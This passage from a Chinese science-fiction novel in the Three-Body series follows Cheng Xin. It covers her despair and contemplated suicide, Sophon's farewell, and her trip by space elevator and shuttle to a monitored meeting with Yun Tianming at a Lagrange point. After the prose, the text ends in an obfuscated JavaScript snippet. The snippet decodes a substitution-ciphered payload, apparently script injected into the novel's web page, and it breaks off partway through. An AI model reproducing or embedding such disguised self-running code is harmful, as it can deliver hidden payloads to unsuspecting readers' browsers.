除了梵蒂冈教皇主持的多次全球规模的礼拜外,人们在各种场合都进行着小群体的或个人的祈祷,他们饭前和睡前都默诵着同一句祷词:主啊,降予我们启示吧,指引我们向星空表达我们的善意,让全宇宙知道我们是安全的。

在地球的近地轨道上有一座世界性的太空教堂。

说是教堂,其实它没有任何实体建筑,只有一个巨大的十字架,十字架两根梁的长度分别为二十千米和四十千米,能够发光,夜晚在地面上可以清楚地看到它的形状。

做礼拜时,教众就身穿太空服悬浮在十字架下面,有时人数可达数万。

与他们一起悬浮的,还有无数根能够在真空中燃烧的巨型蜡烛,点点烛光与群星一起闪耀,从地面看去,烛光和人群像一片发光的太空尘埃。

每天夜里,地面上也有无数人面对那个出现在星海中的十字架祈祷。

甚至三体文明也成为祈祷的对象。

历史上,三体文明在人类眼中的形象一直不断变化。

危机纪元之初,他们是强大而邪恶的外星入侵者,同时也在地球三体运动中被ETO神化;之后,三体世界的形象渐渐由魔鬼和神降为人,黑暗森林威慑建立以后,三体世界在人类眼中的地位降到最低,他们成了一群文化低劣、仰人类鼻息的野蛮人;威慑中止后,三体人又露出了入侵者和人类灭绝者的真面目;但很快,宇宙广播启动后,特别是在三体星系毁灭后,他们又成了与人类同病相怜的受害者。

在得知安全声明这回事后,人类社会最初的反应是一致的,强烈要求智子公布发布声明的方法,警告她不要为此犯下世界毁灭罪行。

但很快人们意识到,对于一个正在星际中远去、同时仍然掌握着人类无法企及的高技术的世界,任何狂怒和谴责都是无济于事的,最好的办法还是请求。

请求后来变成乞求,渐渐地,在苦苦的乞求中,也在日益浓厚的宗教氛围中,三体世界的形象再次发生了变化。

既然他们掌握着发布安全声明的方法,那他们就是上帝派来的拯救天使了,人类之所以还没得到他们的救赎,是因为还没有充分表现出自己的虔诚。

于是对智子的乞求又变成祈祷,三体人再一次变成了神。

智子的居住地成了圣地,每天都有大批的人聚集在那棵巨树建筑下,人数最多的时候是往年麦加朝圣人数的数倍,形成一片一望无际的人海。

那幢空中别墅在四百多米高处,从地面看上去很小,在它自身产生的云雾中时隐时现。

有时智子的身影会在别墅前出现,看不清细节,只有她的和服像一朵云中的小花。

这种情况很少发生,因而也很神圣,人海中信仰各种宗教的人都以自己的方式表达虔诚。

有的加紧祈祷,有的欢呼,有的声泪俱下地倾诉,有的跪拜,有的五体投地。

每到这时,智子只是向下面的人海微微鞠躬,然后悄然退去。

“即使拯救真的出现还有意义吗?

人类的尊严已丧失殆尽。”

毕云峰说,他曾是执剑人的候选人之一,大移民时成为地球抵抗运动亚洲分支的主要指挥官。

像他一样保持理智的人仍然有很多,在各个学科领域都对安全声明进行着大量的深入研究。

探索者们风雨兼程,试图找到具有坚实科学基础的安全声明发布方法,但所有的研究都渐渐指向同一个结论。

如果真的存在发布安全声明的可能性,那就需要某种全新的技术,这种技术远超出地球世界目前的科学水平,人类闻所未闻。

对于已消失在太空中的“蓝色空间”号飞船,人类社会的孩子脸又变了。

这艘飞船由拯救天使再次变成黑暗之船、魔鬼之船。

它劫持了“万有引力”号,对两个世界发出了罪恶的毁灭诅咒,它的罪恶不可饶恕,它是撒旦的终极形态。

那些朝拜智子的人,同时也代表人类发出请愿,希望三体舰队尽快搜索并追杀两艘飞船,以维护正义和主的尊严。

与其他的祈祷一样,这个呼吁没有得到智子的任何回应。

与此同时,程心在公众眼中的形象也慢慢发生着变化,她不再是一个不合格的执剑人,再次成为一位伟大的女性。

人们挖出了一篇古老的散文——屠格涅夫的《门槛》来形容她,她勇敢地跨过了那道没有女人敢于接近的门槛,然后,承受着常人难以想象的巨大压力,也面对着日后将遭受的无尽的屈辱,在最后关头没有向宇宙发出毁灭的信号。

至于她最后放弃威慑操作带来的后果,人们不再多想,只是感受着她对人类的爱,这种爱产生的痛苦甚至使她双目失明。

从深层分析,公众对程心的这种感情其实是对她潜意识中的母爱的回应。

在这个家庭已经消失的时代,母爱也变得稀薄,天堂般的高福利社会抑制了孩子们对母爱的需求。

但现在,人类世界暴露在冷酷的宇宙中,死神的镰刀随时都会落下,人类这个文明的婴儿被丢弃在阴森恐怖的黑暗森林中,他大哭起来,只想抓住妈妈的手。

而程心这时正好成了寄托母爱的对象,这个来自公元世纪的年轻美丽的女性是先祖派来的爱的使者,是母爱的化身。

当公众对程心的感情纳入了日益浓厚的宗教氛围中时,一个新纪元圣母的形象再次被逐渐建立起来。

对程心来说,这断绝了她活下去的最后希望。

生活对于程心早就成了负担和折磨。

她之所以选择活着,是不想逃避自己应该承担的东西,活下去就是对自己那巨大失误的最公平的惩罚,她必须接受。

但现在,她已经成了一个危险的文化符号,对她日益增长的崇拜,将成为已经在迷途中的人们眼前的又一团迷雾,这时,永远消失就是她最后应尽的责任了。

程心发现,自己做出这个决定竟然很轻松,就像一个早就打算远行的人,终于卸下一切俗务,可以轻装出发了。

程心拿出一个小药瓶,里面只剩一粒胶囊,这是短期冬眠的药物,她就是靠这种药冬眠了六年,但如果没有体外循环系统维持生命,人服用后会很快无痛苦地死去。

这时,程心的意识就像太空一般透明而空旷,没有回忆,没有明显的感觉,精神的水面平滑如镜,倒映着正在落下的生命的太阳,像每一个黄昏一样自然……这就对了,如果一个世界都能在弹指一挥间灰飞烟灭,一个人的终结也就应该如露珠滚下草叶般平静淡然。

正当程心把胶囊放在手中时,电话响了,又是弗雷斯打来的,这里是黄昏,澳大利亚已是夜里。

“孩子,这里月亮很好,我刚才看到一只袋鼠,移民居然没把它们吃光。”

弗雷斯从来不用视频通话,好像自信他的语言比图像更生动,虽然知道他看不到自己,程心还是笑了笑,“那真好,弗雷斯,谢谢。”

“孩子,一切都会好起来的。”

老人说完就挂断了电话,他应该没发现什么异常,他们每次通话都这么简短。

艾AA上午刚来过,兴高采烈地告诉她又有一项大工程中标:在同步轨道上建造一个更大的十字架。

程心突然意识到自己还有两个朋友,在这一段噩梦般的短暂历史中,她只有这两个真正的朋友,如果她结束自己的生命,那对他们是怎样的打击?

她刚才还透明空灵的心突然抽紧了绞痛起来,像被许多只手抓住。

平静的精神水面破碎了,上面倒映的阳光像火一般燃烧起来。

七年前,在全人类面前她没能按下那个红色按钮,现在想到两个朋友,她也难以吞下这粒会带来解脱的药。

她再一次看到了自己无边无际的软弱,她什么都不是,只是一个女人。

刚才,她面前的那条河是封冻的,她可以轻松地走到彼岸;但现在,河面融化了,她只能淌过黑色的河水。

这将是漫长的折磨,但她相信自己会走到对岸的,也许会犹豫和挣扎到明天凌晨,但她最终会咽下那粒胶囊,她已经别无选择。

这时电话又响了,是智子打来的,她又请程心和罗辑明天去喝茶,说这是同他们最后的告别。

程心把胶囊慢慢放回药瓶,这次会面她必须去,这意味着有足够的时间淌过那条痛苦的河了。

第二天上午,程心和罗辑又来到智子的空中别墅,他们看到在几百米的下面聚集着大片的人海。

智子昨天晚上向全世界宣布自己要离开,今天来朝拜的信徒比往日多了几倍,但并没有往日的祈祷和呼喊声,人群处于一片寂静之中,像等待着什么。

在别墅的门前,智子又说了与前两次一样的欢迎的话。

这次的茶道是在沉默中进行的,他们都明白,两个世界间该说的话已经说完了。

程心和罗辑都清楚地感觉到下方人海的存在。

地面上沉默的人海像一块大吸音毯,使茶厅中的寂静更深了,有一种压抑感,似乎窗外的白云都凝重了许多,但智子的动作仍那么轻柔曼妙,细瓷茶具相碰都不发出一点声音,智子似乎在用轻柔和飘逸对抗这凝重的时空。

一个多小时过去了,程心和罗辑并没有感觉到漫长。

智子把做好的茶双手捧给罗辑,“我要走了,请二位多多保重。”

再把茶捧给程心,“宇宙很大,生活更大,也许以后还有缘相见。”

寂静中,程心抿了一小口绿茶,闭起双眼品味着,一阵沁人心脾的清苦,像饮下了冷寂的星光。

茶喝得很慢,但最后还是喝完了。

程心和罗辑起身作最后的告辞,这次智子送了他们很远,一直沿着旋梯送到树枝上。

这时,别墅喷出的白云第一次消失了,在下方的地面上,人海仍沉默着。

“在分别前,我要完成最后一项使命,传递一个信息。”

智子说着,向两人深深鞠躬,然后起身抬头,用意味深长的目光看着程心。

“程心,云天明要见你。”

【广播纪元7年,云天明】

《时间之外的往事》(节选)

漫长的阶梯

危机纪元之初,人类社会的热情还没有被大低谷扑灭,为建立太阳系防御,曾经集中地球世界的资源完成了一系列的壮举。

这些巨大的工程都达到或突破了当时技术的极限,像太空电梯、恒星型核弹在水星的试验、可控核聚变技术的突破等等,都已载入史册。

这些工程为大低谷后的技术飞跃奠定了基础。

但阶梯计划不属于此列,甚至在大低谷之前它就被遗忘了。

在历史学家看来,阶梯计划是典型的危机初期激情和冲动的产物,是一次没有经过周密计划就草率进行的冒险。

除了结局的完全失败,在技术上也没留下什么有价值的东西,后来的宇航技术完全是朝着另一个方向发展的。

谁也没有想到,在近三个世纪后,阶梯计划为绝境中的地球文明带来了一线曙光。

运载着云天明大脑的阶梯飞行器是如何被三体世界截获的,可能永远是个谜。

在木星轨道附近,阶梯飞行器的一根帆索断裂,飞行器偏离了预定航线,地球方面也失去了它的轨道参数,飞行器迷失于茫茫太空中。

但三体世界能够在后来截获飞行器,肯定掌握了它在帆索断裂后的轨道参数,否则,即使凭借三体技术也不可能在太阳系外的茫茫太空中搜寻到这样小的一个物体。

最可能的猜测是:阶梯飞行器起航后,至少在加速航段,智子一直跟随着它,掌握了它最后的轨道参数。

但如果说智子在其后的漫长航程中一直跟随则不太可能,飞行器后来穿过了柯伊伯带,又穿过了奥尔特星云,在这些太空区域有可能因星际尘埃减速或偏航,但看来偏航并没有发生,否则三体世界不可能知道新的轨道参数。

所以,阶梯飞行器被截获有一定的幸运成分。

截获阶梯飞行器的基本可以确定是三体第一舰队的飞船,最有可能是那艘一直没有减速的飞船。

当时它大大前出于舰队,预计提前一个半世纪到达太阳系,到达后因速度太高只能穿越而过;这艘飞船的目的也一直是个谜。

黑暗森林威慑建立后,这艘飞船与第一舰队一起转向,对于它的航线参数地球方面并没有掌握,但如果它转向后的航线与第一舰队方向一致的话,就可能与偏航后的阶梯飞行器相遇。

当然,即使相遇,两者间交错时也有巨大的距离,如果那艘飞船没有掌握飞行器的精确轨道参数,也不可能对它进行搜索定位。

对于飞行器被截获的具体时间只能粗略估算,在三十到五十年前,不可能早于威慑纪元。

三体舰队截获阶梯飞行器的动机是可以理解的。

直到最后,三体世界与人类世界真正的实体接触也仅限于水滴,所以得到一个人类的实体生物标本对他们还是有一定诱惑力的。

云天明现在肯定身处三体第一舰队,该舰队的大部分飞船朝天狼星方向飞行。

他的状态不得而知,不知道他的大脑是被单独培养,还是移植到克隆出的身体中,但人们最关心的还是另一个问题。

云天明仍在为人类的利益而工作吗?

这个担心不无道理,云天明见程心的要求得到应允,说明他已经融入了三体世界,甚至可能在那个世界已经拥有了一定的社会地位。

接下来一个顺理成章但令人震惊的问题是:他是否参与了威慑纪元开始后至今的历史,这半个世纪中两个世界间发生的一切与他有没有关系?

但云天明毕竟是在地球文明陷入绝境的关键时刻出现的,他真的带来了希望。

人们得知这一消息时,第一个反应就是,自己的祈祷得到了回应,拯救天使终于出现了。

透过运载舱的舷窗看出去,程心眼中的世界就是一根宽八十厘米的导轨,这根导轨向上方和下方无限延伸,直到细得看不见。

已经起程一个小时,现在距海平面已有一千多千米,早已越过大气层进入太空。

下面的地球正处于黑夜的一面,大陆的轮廓朦朦胧胧,没有实感。

上方的太空漆黑一片,远在三万多千米高处的终端站根本看不到,让人感觉导轨指向的是一条不归路。

作为一名公元世纪的航天工程师,程心在近三个世纪后的今天才第一次进入太空。

现在乘坐任何航天飞行器都不再需要适应性训练,但考虑到她可能的不适,技术支持小组还是让她搭乘太空电梯。

运载舱几乎全程都是匀速直线运行,没有超重,舱中的重力也没有明显的落差。

重力是逐渐减小的,直到同步轨道的终端站才会出现完全的失重。

有时,程心看到一个小点从远处飞速掠过,那可能是以第一宇宙速度运行的卫星,在这个高度,只有以它们那样的速度沿轨道方向运行才能产生失重。

导轨表面很光滑,几乎看不出运动,运载舱仿佛静止地悬在导轨上。

其实这时运载舱的运行速度是每小时一千五百千米左右,相当于一架超音速飞机,到达同步轨道需要大约二十个小时,这在太空中确实是一个很低的速度。

程心想起在大学时的一次什么讨论中,云天明曾说,从原理上讲低速航天是完全可能的,只要能维持恒定上升的动力,以汽车的速度,甚至以步行的速度也可以走到太空,甚至可以走到月球轨道,但不可能登上月球,因为那时月球与走过去的人有着每小时三千多千米的相对速度,如果试图消除这种速度与月球保持静止,那就又成高速航天了。

程心还清楚地记得他最后说:在月球轨道附近,看着庞大的月亮从头顶飞速掠过,肯定很震撼。

现在她就是在他说过的低速航天中。

运载舱呈胶囊形,一共有四层,程心在最上一层,陪同她的人都在下面三层,没人来打扰她。

她所在的是豪华商务舱,像五星酒店的房间,有很舒服的床,有沐浴间,但窄小许多,大小相当于大学宿舍吧。

她最近总是想起大学时代,想起云天明。

在这个高度,地球的阴影区域很小,太阳出现了,外面的一切都淹没在强光中,周围的舷窗自动调低了透明度。

程心仰躺在沙发上,透过上方的舷窗继续看着导轨。

那根漫无尽头的长线仿佛是从银河系垂下来的,她极力想从导轨上看出运动,或想象出运动来,这种凝视具有催眠作用,她渐渐睡着了。

朦胧中,程心听到有人在轻唤她的名字。

是一个男声,她发现自己置身于大学宿舍中,躺在下铺,但房间里空无一人。

她看到墙上有光影移动,就像路灯照进行驶的车内。

看看窗外,发现在那棵熟悉的梧桐树后,太阳飞快地划过天空,几秒钟就升降一次,即使太阳升起时,它背后的天空也是漆黑的,星星和太阳一起出现。

那声音仍在呼唤她的名字,她想起身看看,却发现自己的身体从床面上飘浮起来,书本、水杯和笔记本电脑等也飘浮在周围……

程心从梦中惊醒,发现自己真的在飘浮,已经离开沙发一小段距离。

她伸手想抓住沙发把自己拉回去,却无意中把身体推开,一直升到顶部的舷窗下。

她在失重中转身轻推窗面,成功地使自己落回到沙发上。

舱内一切依旧,只是失重使一些原来已经落下的尘埃飞到空中,在阳光下闪闪发亮。

这时她才发现陪同的一名PDC官员已经从下层上来了,刚才也许就是他在叫自己,但现在他只是惊奇地看着眼前的一幕。

“程博士,你说你是第一次进入太空?”

官员问,得到程心肯定的回答后他笑着摇摇头,“不像,真的不像。”

连程心自己都感觉不像。

第一次经历失重并没有让她感到慌乱和不适,能够从容应对,也没有恶心和眩晕的感觉,仿佛她自然而然地就属于这里,属于太空。

“我们快到了。”

官员指指顶窗说。

程心抬头看去,首先看到的仍是太空电梯的导轨,但这时已经能够从它的表面看出运动,说明运载舱减速了。

在导轨的尽头,同步轨道终端站已经能看出形状,它由多个同心圆构成,由五根辐条连为一体。

最初的终端站只有中心一小部分,那些圆环是不同时代扩建的,越靠外的环越新。

终端站整体在缓缓地旋转。

程心也看到,周围出现的太空建筑渐渐多了起来,它们都是依托电梯终端站的便利建设起来的,形状各异,远远看去像一件件精致的玩具,只有突然从近处掠过的那些建筑,观者才能感受到其庞大。

程心知道,这其中就有她的太空建筑公司——星环集团的总部,AA现在就在里面工作,但她认不出是哪个。

运载舱从一个巨大的框架结构中穿过,阳光被密集的框架切碎,从另一端升出时,终端站已经占据了上方的大部分太空,银河只是透过圆环间的缝隙闪烁。

这巨大的结构从上方扑天盖地压下,运载舱进入终端站时四周暗了下来,如同火车进入隧洞。

几分钟后,外面出现明亮的灯光,运载舱进入终端大厅停住了。

周围的大厅在旋转,程心第一次感到有些头晕,但运载舱与导轨脱离后,被一个夹具在中部固定,一阵轻微的震动后,它也随终端站整体一起旋转,周围的一切静止了。

程心与四名陪同人员一起走出运载舱,进入圆形的终端大厅。

由于他们是这一时段到来的唯一一架运载舱,大厅里显得很空旷。

程心对这里的第一印象就是熟悉,虽然这里也到处飘浮着信息窗口,但大厅的主体是用现在早已不再使用的金属材料建造的,主要是不锈钢和铅合金,到处都可以看到岁月的痕迹,她仿佛不是置身于太空,而是在一个旧火车站的候车大厅里。

他们乘坐的是人类建成的第一部太空电梯,这个终端站建于危机纪元15年,已经连续使用了两个多世纪,即使在大低谷时期也没有关闭过。

程心注意到大厅中纵横交错的栏杆,那是为人员在失重环境中移动设置的。

这显然是早期的设施,因为现在都使用个人失重推进器,它体积很小,使用时固定在腰带或肩上,可以在失重中对人产生推力,由一个手持控制器控制移动方向。

那些栏杆大部分是不锈钢制造,甚至还有一部分是铜制的,看着它们那经过两个多世纪中无数只手磨损的表面,程心竟想到了古老城门前深深的车辙印。

陪同人员给程心上进入太空后的第一课——教她使用失重推进器,但程心更习惯于抓着栏杆飘行。

当他们行至大厅出口时,程心被墙上的几幅招贴画吸引了,都是些很旧的画,主题大部分是太阳系防御系统的建设。

其中一幅画被一名军人的形象占满,他穿着程心很陌生的军装,用如炬的目光盯着画外,下面有一行醒目的大字:地球需要你!旁边一幅更大的画上,一大群不同肤色的人手挽手组成一道致密的人墙,背景是占据大部分画面的联合国的蓝色旗,下面也有一行字:用我们的血肉筑起太阳系的长城!对这些画程心却没有熟悉的感觉,因为它们的风格更旧了,让人想起她出生之前的那个时代。

“这些是大低谷初期的作品。”

一位陪同的PDC官员说。

那是一个短暂的专制时代,全世界都处于军事状态,然后是崩溃,从信仰到生活,一切都崩溃了……可为什么把这些画保留到现在,为了记忆还是忘却?

程心一行从大厅出口进入一条长长的走廊,走廊的断面是圆形的,笔直地向前延伸,长得看不到尽头,程心知道这就是圆环形终端站的五根辐条之一。

开始他们仍然飘行在失重中,但很快重力(离心力)出现了,最初尽管很微弱,却一下子有了上下的方向感。

原来的走廊突然变成了不见底的深井,飘行变成了坠落,让程心头晕目眩,但“井”壁上出现了许多导引栏杆,在自由下落中如果速度太快,可以抓住栏杆减速。

他们很快经过了第一个十字路口,程心向垂直交叉的另一条走廊看去,发现在两个方向上地面都向上升起,像一座小山谷一样,显然这是终端站的第一个圆环。

程心看到走廊的两个入口都有一个发红光的标志,上面写着:终端一环,重力0.15G。

向上弯曲的走廊两侧都有一排整齐的密封门,不时开启关闭。

有很多行人,他们虽然在微重力下可以直立着地,但显然还得借助失重推进器跳跃行进。

通过一环后,重力继续增加,自由下落已经不安全,“井”壁上出现了自动扶梯,上行和下行各有两道。

程心不时和旁边上行扶梯上的人交错而过,发现他们装束随意,与地面城市中的居民没什么两样。

“井”壁上有许多大大小小的信息窗口,有一部分正在播放的新闻中就出现了程心二十多个小时前登上太空电梯的画面,此时程心因为被四名护送者围在正中,加上她戴着宽墨镜,没有被人认出来。

在随后的下降中,他们又先后通过了七个环,由于环的直径依次增长,两侧地面上翘的坡度也逐渐变缓。

在这个过程中,程心感觉自己是在“井”中穿过时代的地层。

在两个多世纪中,终端站是由内向外一环一环扩建的,所以越深处地层越新。

每一环的建造材料都与上一环不同,看上去也都比上一环新许多,其建造和装饰风格彰显出一个时代的断面。

从大低谷压抑冷漠整齐划一的军事色彩,到危机纪元后半叶的乐观和浪漫,再到威慑纪元弥漫着自由和懒散的享乐主义。

在四环之前,环内的舱室都是与环一起整体建造的,但从五环开始,环本身只提供了一个建设空间,环内的建筑设施都是后来规划建设的,显示出丰富的多样性。

由上至下经过每一环,太空站的特点渐渐消失,尘世的色彩越来越浓郁。

当到达第八环、也就是终端站的最外一环时,环内的建筑风格和环境与地面的小城市已经没有什么区别,像一条繁华的步行街,加上已经增长到1G的标准重力,程心几乎忘记了这里是距地面三万四千千米的太空。

但尘世都市的景象很快消失了,一辆小机动车把他们送到一处能直接看到太空的地方。

这是入口处标有“A225港”的一个扁平大厅,像广场一般宽阔的平面上停放着几十艘形状各异的小型太空飞行器,大厅的一侧则完全向太空敞开,可以看到随着终端站的旋转而移动的群星。

不远处一团强光亮起,照亮了整个港口,那个光团由橘黄色渐渐变成纯蓝,那艘刚启动发动机的太空艇缓缓移出,很快加速,直接从港口的敞开处冲进太空。

程心看到了一个人们已经习以为常的技术奇迹,她一直不明白如何在不完全封闭的太空建筑中保持空气和气压。

他们穿过一排排的飞行器,来到港口尽头一个空旷的小广场。

广场正中孤零零地停放着一艘太空艇,艇旁还有一小群人,显然正等待着程心的到达。

这时,在港口向太空敞开的一侧,银河系正缓缓移过,它的光芒给太空艇和人投下长长的影子,使得小广场像一个大钟面,那些影子就是移动的时针。

那群人就是为这次会面成立的PDC和舰队联合小组,他们中的大部分程心都认识,都在七年前参与过执剑人的交接工作。

领导人仍是PDC轮值主席和舰队总参谋长,主席已经换人,但参谋长还是七年前的那一位,这人类历史上最长的七年在他们的脸上都留下了沧桑。

见面后大家都没有说话,只是默默地握手,默默地感慨。

程心打量着眼前的太空艇,太空短程飞行器形状各异,唯独没有过去人们想象中的流线型。

这一艘是最普通的形状,球形,很规则,程心甚至看不出推进器在哪一侧。

这艘太空艇的体积大约相当于过去的一辆中巴车,没有名称,外面只印有一行编号,很普通的一个东西,程心就要乘坐它去与云天明会面。

会面地点在地球与太阳的引力平衡处:拉格朗日点。

三天前,智子与程心和罗辑分别后,就向地球方面详细通报了会面的细节。

她首先阐明了这次会面的基本原则:这只是云天明和程心两人之间的事,与任何第三方无关。

会面中,他们谈话的内容也将严格限制在两人之间,不得涉及任何三体世界的技术、政治和军事方面的内容,云天明不能谈这些内容,程心也不能提这样的问题。

会面过程中不得有第三方在场,也不能进行任何形式的记录。

会面地点在地球与太阳之间拉格朗日点的太空中,距地球一百五十万千米,通过由智子建立起的与三体第一舰队的实时通信进行,可以进行实时谈话和图像传送。

为什么要在百万千米之外的太空中进行会面通信?

在中微子通信时代,这个距离的太空隔绝性与在地面上没有太大区别。

按智子的解释,这只是一种象征,让会面在孤立的环境中进行,以表示其与两个世界无关。

之所以选择拉格朗日点,只是为了保持会面时位置的稳定,同时,按三体世界在太空中的惯例,天体间的引力平衡点就是约会的地方。

以上是程心已经知道的,接下来,她又被告之了一件更重要的事。

总参谋长带着程心进入太空艇,里面空间不大,只能坐四个人。

他们刚坐下,前面的球形舱壁就变成透明的,成了半球形的舷窗,像一个放大了的太空服的面罩。

之所以选择这种型号的太空艇,可能主要是考虑到它的视野广阔。

现代的太空飞行器内部已经没有直接手动的操纵物,操纵显示屏都是在空中投影,所以舱内空荡荡的。

如果一个公元人第一次进入这里,可能会以为这是一个没有任何设备的空壳。

但程心立刻看到了三个不寻常的东西,显然是后来装上的。

那是三个圆片,贴在前面半球形的舷窗上方,分别是绿、黄、红三种颜色,让人想起过去的交通信号。

参谋长向程心解释它们的用途:

“这是三盏灯,由智子控制。

会面通信过程自始至终都被监听和监视,如果他们认为谈话内容正常,绿灯亮;如果想对不适宜的内容发出警告,黄灯亮。”

总参谋长说到这里突然沉默了,过了好一段时间,似乎下定了决心,他才向程心解释红灯的作用:

“如果他们认为你已经知道了不该知道的信息,红灯亮。”

他转过身,指了指他们背后不透明的那部分舱壁,程心看到那里贴着一个不引人注意的小金属体,像是一个古代天平用的砝码。

“这是一个爆炸物,也由智子控制,红灯亮后三秒钟引爆,摧毁一切。”

“哪一方的一切?”

程心问,她首先想到的不是自己。

“只是地球这一方。

不用为云天明的安全担心,智子已经明确告诉地球方面,即使红灯亮起,被毁灭的只是太空艇,云天明不会受到任何伤害。

“红灯可能在谈话过程中亮起。

如果整个会面过程正常完成,但他们在重新审查所监听的谈话内容时发现有不适宜内容,那时红灯也可能亮。

下面,我要告诉你最重要的一点……”

参谋长又沉默了,程心的目光平静如水,对他微微点头,鼓励他继续。

“千万注意,绿、黄、红三灯不是顺序亮起,红灯亮之前不一定有警告,可能由绿灯直接跳到红灯。”

“好的,我知道了。”

程心说,她的声音很轻,如一阵微风吹过。

“除了谈话内容,还有一种因素可能亮红灯:智子发现太空艇中有记录设备,或者有信息转发设备。

但这个请你放心,绝对不会发生,太空艇是反复检查过的,没有任何记录设备,通信设备也全部拆除,连航行的日志功能都消除了,全部航行都是由艇内的A.I.自主进行,在返回前不会与外界进行任何形式的通信。

程博士,你明白这意味着什么吗?”

“如果我回不来,你们就什么也得不到了。”

“你能明白这点我很高兴,这正是我们要向你强调的。

照他们说的去做,只谈你们之间的事,不要涉及其他,连隐喻和暗示都不要。

时刻牢记一点:如果你回不来,地球什么都得不到。”

“那样的话,如果我回来了,地球还是什么也得不到。

将军,我不想让这事发生。”

总参谋长想看看程心,但没有直视她,只看着她在前面透明罩上的投影。

她的影像叠印在星海上,那双美丽的双眸平静地映着星光,他突然感觉群星都在围着她旋转,她成了宇宙的中心。

他再次强迫自己,没有进一步劝她不要冒险,而是说出了下面的话:

“这个,”参谋长指指后面,“是一枚微型氢弹,按你们那时的TNT当量计算,五千吨级,可以炸毁一座小城市。

如果真发生了,一切都在一瞬间,没有任何痛苦。”

程心又对参谋长恬淡地微笑了一下,“谢谢,我知道了。”

五个小时后,程心乘坐的太空艇从港口起航了,3G的过载把程心紧紧压在椅背上,这是普通人能够舒适承受的超重的上限。

从一个后视窗口中,她看到终端站巨大的外壳上反射着太空艇发动机的光亮,小艇像是从一只巨炉中飘出的一颗小火星。

不过终端站本身也在迅速缩小,这个刚才程心还置身其中的巨大构造很快也变成一粒小点,但地球仍宏大地占据着半个太空。

特别小组的人反复向程心强调,这次飞行本身而言是再普通不过了,不会比她以前乘坐一次民航飞机更特别。

从终端站前往地日间的拉格朗日点将飞行约一百五十万千米,也就是百分之一个天文单位,是一次短程太空飞行,她乘坐的这艘球形艇也是一架短程太空飞行器。

但程心记得,三个世纪前使她选择航天专业的一个重要诱因,是公元世纪中叶的一项伟大壮举,在那项壮举中,先后有十二个男人登上了月球,但他们的航程只是这段距离的五分之一。

十多分钟后,程心目睹了一次太空中的日出。

太阳从地球的弧形边缘上缓缓升起,太平洋的波涛已被距离抹去,像镜面一般光洁地反射着阳光,大片的云层像贴在镜面上的雪白肥皂沫。

从这个位置上看,太阳比地球小许多,像是这个暗蓝色的世界孕育出的一枚光芒四射的金蛋。

当太阳完全升出弧形地平线时,地球向阳的一侧被照亮成一个巨大的下弦月形状。

这个大月牙是如此明亮,以至于地球的其余部分都隐没于阴影中,太阳与下面的弯月似乎构成了一个宇宙中的巨型符号,程心觉得它象征着新生。

程心知道,这很可能是她见到的最后一次日出了。

在即将到来的会面中,即使双方都忠实地遵守谈话的规则,那个遥远的世界可能也不会让她活着返回,而她不打算遵守规则。

但她感觉一切都很完美,没有什么遗憾了。

随着太空艇的行进,地球被照亮的一面在视野中渐渐扩大。

程心看着大陆的轮廓,很轻易地认出了澳大利亚,它像漂在太平洋中部的一大片枯叶。

那块大陆正在从阴影中移出,明暗交界线位于大陆中部,表明沃伯顿刚好是早晨,她想象着弗雷斯在树林边看到的沙漠日出的景象。

太空艇越过地球,当弧形的地平线最后移出舷窗的视野时,加速停止了。

随着过载的消失,程心感觉像拥抱着自己的一双手臂突然松开了一样。

太空艇朝着太阳方向无动力滑行,恒星的光芒淹没了一切星星。

透明罩调暗了,太阳成为一只不刺眼的圆盘,程心手动再调暗些,使太阳变得像一轮满月。

还有六个小时的旅程,程心飘浮在失重中,飘浮在月光般的阳光里。

五个小时后,太空艇旋转一百八十度,发动机对准前进方向开始减速。

太空艇转向时,程心看到太阳缓缓移走,然后,群星和银河像一轴展开的长卷般从视野中流过。

最后当太空艇再次稳定下来时,地球又出现在视野正中,这时它看上去只有地面上看到的月球大小。

几个小时前它在程心眼前展示的宏大已经消失得无影无踪,只剩下脆弱,像一个充满蔚蓝色羊水的胚胎,被从温暖的母腹中拿出,暴露在太空的寒冷和黑暗中。

发动机启动后,程心又被重力拥抱起来。

减速持续了约半个小时,然后发动机断续运行,进行最后的姿态调整。

最后,重力再次消失,一切都寂静下来。

这里就是地日间的拉格朗日点,这时,太空艇已成为一颗太阳的卫星,与地球同步运行。

程心看了一下表,航行时间卡得很准,现在离会面还有十分钟。

周围的太空仍一片空旷,她努力使自己的意识也空旷起来。

她要为大量的记忆做准备,能够记录会面信息的只有她的大脑,她要使自己变成一架没有感情的录音机和摄像机,在以后的两个小时中尽可能多地记下听到和看到的一切。

做到这点不容易,程心想象着她身处的这片空间,这里太阳和地球的引力相互抵消为零,这里比别处的太空又多了一分空旷,她置身于这片零的空旷中,是一个孤立的存在,与宇宙的任何部位都没有关系……她用这种想象一点一点地把纷繁的感情赶出意识,渐渐达到了她想要的空白的超然状态。

在不远处的太空中,一个智子低维展开,程心看到前方突然出现了一个球体,直径有三四米,距太空艇只有几米远,挡住了地球,占据了大部分视野。

球体的表面是全反射镜面,程心清晰地看到太空艇和艇中的自己在球面上的映像。

她不知道这个智子是一直潜伏在太空艇中,还是独自来到这里。

球面上的映像很快消失了,球体渐渐变成半透明状,像一个大冰球般深不可测。

有一刻,程心感觉它像是太空中挖出的一个洞。

接着,有无数雪花状的亮点从球体内部浮上来,在球面上形成一片闪动的光斑。

程心看出这是白噪声图像,就像收不到信号的电视屏幕上的一片雪花。

!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 